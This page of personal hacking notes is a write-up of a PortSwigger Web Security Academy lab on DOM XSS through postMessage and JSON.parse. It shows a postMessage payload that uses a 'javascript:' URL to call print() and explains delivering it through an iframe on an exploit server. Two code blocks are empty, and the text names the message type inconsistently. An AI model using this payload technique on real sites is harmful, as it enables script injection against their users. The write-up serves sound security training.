> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/web/dom/xss-dom-with-web-messages-and-json-parse.md).
# XSS DOM with Web Messages and json.parse
XSS DOM with Web Messages and json.parse notes for PortSwigger Web Security Academy labs, including exploitation workflow, payload testing, Burp Suite validation, and remediation context.
### DOM XSS Using Web Messages and JSON.parse
This document reformulates and translates into French the notes provided on the lab (PortSwigger): it describes the vulnerable code, how it interprets messages, and the payload used to call `print()` via a `iframe`.
Description of the vulnerable script
The script dynamically creates a `iframe` tag and remote control via messages received by the `postMessage` event. It can load a URL, adjust the size of the player and scroll it into the page.
```javascript
```
### `postMessage` Message Example
Sending a stringed JSON message allows the script to interpret the requested action.
Load a normal URL:
```javascript
window.postMessage(JSON.stringify({
type: "load-channel",
url: "https://jord4n.pro"
}), "*");
```
Use a `JavaScript:` schema to run code (here call `print()`):
```javascript
window.postMessage(JSON.stringify({
type: "load-channel",
url: "javascript:print()"
}), "*");
```
On the operating server, you can drop an HTML page with a `iframe` pointing to the vulnerable page and post the `load-string` message with `URL: "JavaScript:print()"` when loading the iframe.
```javascript
